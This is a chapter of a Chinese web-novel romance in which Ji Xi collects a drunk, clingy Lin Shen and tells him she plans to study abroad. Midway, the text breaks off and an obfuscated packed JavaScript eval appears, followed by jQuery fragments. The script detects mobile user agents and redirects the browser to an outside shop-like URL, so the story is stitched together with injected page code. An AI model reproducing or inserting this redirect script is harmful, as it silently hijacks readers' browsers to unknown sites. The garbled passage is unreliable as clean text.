19. 第 19 章

作品:《疯狗

    季西不认识这个地方,幸好这座城市繁华区小,基本都是在酒店附近。


    她打开地图,发现那家会所在一公里不到的地方,走两步就到了。


    季西把路记得差不多,往那个方向去。


    她没有生气的意思,只是不明白为什么林慎要去会所。


    还喝得醉醺醺的。


    抱着这样的疑问,季西上楼,找到服务生,把林慎所在包间号告诉她。


    看来林慎已经叮嘱过,服务生甚至都没有问她是谁,直接把她带到了门口。


    季西打开门,里面灯光灰暗,只有一个人。


    看样子像是没有开灯,季西凭借经验摸到灯光的位置,“啪”地一声,房间里顿时亮了不少。


    她最先看到的是林慎一错不错盯着她的眼,然后是桌上乱七八糟的酒瓶。


    她面无表情,实则暗自心惊,在数桌上有几个瓶子。


    十二个。


    这家伙是发什么疯?


    她还没有走到跟前,林慎已经从沙发上爬起来,半坐半跪着抱住了她。


    林慎声音很黏糊,“西西……”


    他像是很委屈一样,说:“你怎么才来啊……我都等你等了好久了。”


    “什么话。”季西托着他的双臂,把他拉回到椅子上坐稳。


    “你刚刚才给我打的电话,现在只过了20分钟。”季西蹲下来,自下而上看着他,“我刚挂断电话就马不停蹄赶来了。”


    “好吧。”


    季西发现他的眼睛里带着雾气。


    她忍不住温柔一点,“怎么突然一个人跑来喝酒?发生什么事了吗?”


    林慎不说话了。


    他乖乖地坐在那里,只是执着地用一双蒙雾的眼盯着季西,眼里的雾越来越浓郁,快要凝聚成实体。


    季西抬手,触了触他的眼。


    “我做了一个梦。”林慎突然道,“梦里没有你,只有我一个人。”


    “这有什么。”季西不敢说梦是假的,轻飘飘道:“只是个梦而已。”


    就算是梦,也足够让我恐慌。


    林慎闭了闭眼,没有得到想要的答案。


    他抱着季西,吸了吸鼻子,满是季西身上的味道。


    “你不会丢下我一个人的对吧……”林慎头抵在她腹部,轻轻摇了摇,“季西。”


    听到他的话,季西身体僵硬,连正在抚摸着他头发的手都停住了。


    她不敢给承诺。


    哪怕林慎现在已经喝醉。


    季西转移话题道:“我们回去吧?你喝了多少?这里的瓶子不会都是你喝的吧。”


    “差不多吧。”林慎回答地心不在焉,他还是执着于刚才的问题:“如果有一天你走了,你会带上我吗?”


    季西终于忍不住了。


    她松开林慎,居高临下盯着他,面上疑惑。


    “真的喝醉了吗?”季西碰碰他的睫毛。


    林慎目光清澈地盯着她,点点头:“醉了。”


    季西松了口气。


    林慎酒量不多,每次喝醉都要她来接。


    但是季西每次逗他,问他喝醉没,他都说没有喝醉。


    一直都是这样。


    “那你怎么对这个问题这么执着。”她摇摇头,“一个人不可能永远和另一个人在一起的,你知道吗。”


    她说着,忽然不急着离开了,一屁股坐在歪倒的林慎旁边。


    林慎很安静,季西偏头看他,还以为他睡着了。


    并没有。


    林慎睁着眼,望着她,不知道在想些什么。


    季西摸摸他的头,问:“现在可以告诉我为什么会喜欢我吗?”


    “醒着不肯说,醉了不至于还藏着掖着吧?”季西喃喃道。


    她猜测:“难道是因为你对我一见钟情?”


    林慎眼睛动了动,忍不住移到她脸上。


    对方却没有发现他的视线,依然自顾自地说:“但是这也没可能啊。”


    “你喜欢我总要有个原因吧?不至于没有。”季西自言自语,“我觉得我这个人身上还是有很多优点的,你怎么一个都说不出来?”


    像是知道林慎不会回答她一样,季西叹了口气。


    室内安静了一会,季西刚想起身,又想起了什么似的,她重新坐下来,捧着林慎的脸,认真问:“你最开始该不会是想跟我玩玩吧。”


    还没等林慎开口辩驳,她就松开了,反驳自己:“也不对啊,你可认真了。”


    要说玩,还是她比较符合一点。


    当时和林慎混在一起的契机——不提也罢。


    她一边想着,一边抬手捏了捏林慎的脸。


    他们都这样不明不白混在一起两年了。


    虽然很少做,但是亲密行为有。


    什么时候才能结束呢?


    季西想到这里,心有些微微异样的感觉。


    但她忽视了。


    “你什么时候才能失去新鲜感?”季西忍不住问道。


    林慎语气平静:“你说什么?”


    季西却以为是巧合,接着道:“我们不可能真正在一起。”


    林慎问:“为什么。”


    季西奇怪的看他一眼,还以为他清醒了,却觉得没有这样的可能。


    她还是顺着林慎的话答:“为什么?我们差距太大,虽然我不觉得我配不上你,但是我们——”


    她重重地吐出一口气,声音很无力:“我们确实相差的太大了。”


    你什么时候才能对我失去新鲜感呢?


    季西看着他,想。


    林慎现在看起来很乖,他睁着眼,不言不语,只是静静地望着她。


    季西突然道:“你知道吗?我已经申请了国外的大学。”


    “林慎。”她说:“我不知道我该怎么跟你说这件事。”


    所以只能趁他不清醒的时候说出口。


    总比一直瞒着他好。


    林慎倒在她身上,头埋在她颈窝。


    季西并不推开他,只是接着道:“我要出国了。顺利的话——我是说你没有忘记我或者有了新喜欢的人这种情况下——我们两年后会再见,要是不顺利的话,现在就是我们最后的相处时间。”


    “两年时间,你应该不会忘记我的。”


    “还是忘记吧,不管怎么样,以我们现在的状态继续下去,不会得到好结果。”


    季西感受到颈窝处有冰凉湿润的感觉。


    “是睡着了吗?”她自顾自道:“怎么还把口水流我身上。”


    季西后知后觉,终于察觉现在氛围太沉重。


    她扶起林慎,让他睡在沙发上,站起来。


    林慎的目光跟着她,看她走到窗前,拉开窗帘。


    窗外又在下雪了,纷纷扬扬。


    离开时也下了小雪,但是航期已经定好,所以旅客们冒着小雪,拖着行李上了船。


    这次回去仅仅只需要一天,客人们在船上睡一个晚上,再赖会床,基本就能到出发的地方。


    回来时季西还和林慎睡在一个房间,他们的关系依然亲密。


    下了船,在当地休息一天,很快就要转机。


    他们要回国了。


    季西想和他拉开关系,有意找茬,但是都被林慎软绵绵地接住,让她根本找不到理由发作。


    只能暗暗祈祷对方早点厌倦她。


    根本不可能。


    况且不知道林慎发了什么疯,自从他喝醉酒那天之后,他对季西越发黏着,几乎快变成季西的影子了。


    “你在这里等一下我。”季西说。


    “为什么?”林慎不动声色,“我要跟着你。”


    “我要上厕所,你跟来干什么?”


    “我帮你守着外面。”


    林慎看起来不像开玩笑,季西哑然,最后无奈,只好冲他摆摆手。


    意思是随他去。


    她其实不是要上厕所,只是最近林慎一直都粘着她,但凡她有任何神游的趋势,都要搞出一点动静,吸引她的注意力。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337649|199001||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她怀疑林慎这样做,是为了不让她想一些事情。


    ——比如说那天醉酒。


    季西开始怀疑,林慎那天是不是根本没醉?


    又或者说,他其实清醒着,只是为了套她一句承诺。


    但是季西却并没有如他所愿,反而说了那些。


    刚安静几分钟,季西的思绪转到这,被打断了。


    来自门外的林慎。


    他在低声地喊她。


    “季西,你好了吗。”


    季西蹙起眉,任性道:“没有,你不要催。不想等就去别的地方。”


    林慎根本不吃她这招,语气变得有些委屈,像是被她的话伤害了一样:“没有,我只是有点想你了。”


    季西忍不住道:“我们两分钟之前刚见过面。”


    “我知道。”林慎立马道。


    他安静一会,又说:“但是我这几天又在做梦,梦见你要离开我,梦见有人拆散我们。”


    本来就不是在一起的关系,谈何拆散?


    季西想着,却没有说出口。


    她没有说话,几秒后,林慎又在喊:“季西。”


    季西只好站起来,按了一下马桶上的冲水键,等了一会之后出去。


    她洗了手,手上湿哒哒的,林慎也不嫌弃,抓着她的手就往身上擦。


    季西问:“你说的梦是怎么回事?”


    林慎动作一顿,头更低了些。


    季西抓着他的衣服摇了摇。


    “……梦到有人说我们不般配,不让你和我在一起。”林慎声音有些哽咽。


    季西说:“只是梦而已。”


    “梦也会变成现实的,不是吗?”林慎抬眼,认真地看着她,“梦里的人说,是我配不上你。”


    他眼里的雾气凝成实体,顺着他垂睫的动作,流到睫毛尾部,要坠不坠。


    怎么和我说的话都是反的。


    季西忍不住抬起刚擦干的手拭去他的泪,“梦都是反的。”


    林慎鼻尖红红的说:“那现实就是你配不上我吗?”


    季西愣了一下,没有反应过来。


    林慎贴了贴她的脸,脸上的泪痕都沾到她脸上。


    他坚定道:“没有人比你更配我了,还不如不做这个梦。”


    季西刚要露出笑,就被林慎抱住。


    他在她耳边很小声地说:“但是我控制不住自己,我不想做梦,可是一闭上眼都是。”


    他闭上眼,声音听起来很绝望:“我已经好几天没有睡过一个好觉了。”


    季西拍了拍他的背,把自己的解决办法说出来:“也许你一个人睡会好点……”


    她话还没有说完,被林慎捂住嘴巴。


    林慎红着眼睛,眼泪像断裂的项链上珍珠一样控制不住地掉落。


    “我都这么难过了,你给出的解决办法就是这个吗……”林慎说:“你讲话真的好难听啊。”


    季西拉下他的手,刚想说更难听的话,触及到他楚楚可怜的面容,忍回去了。


    “对不起。”季西说,“找宋闻看过吗?是不是没吃药的问题啊?”


    林慎嘴角抽动两下,凑上前,亲亲她,说:“你是不是在偷偷骂我有病呢。”


    “没有骂啊。”季西心虚道:“老是做这样的梦对身体确实不好,我只是担心你。”


    林慎小声道:“鬼才信你。”


    他不想闹了,闹了半天都得不到季西一句不离开的承诺。


    装可怜、美男计统统不管用。


    林慎都拿她没办法了。


    他紧紧抱住季西,以一股想把她勒死但又怕真把她勒死的扭曲力道搂着她。


    我还能拿你怎么办呢?


    林慎自暴自弃地想。


    难道要真的任由你就这样抛下我离开吗?


    就连回国看看我的想法也没有。


    再不济我也可以出国看你。


    但你就是这么狠心。


    你怎么舍得。


    你怎么舍得?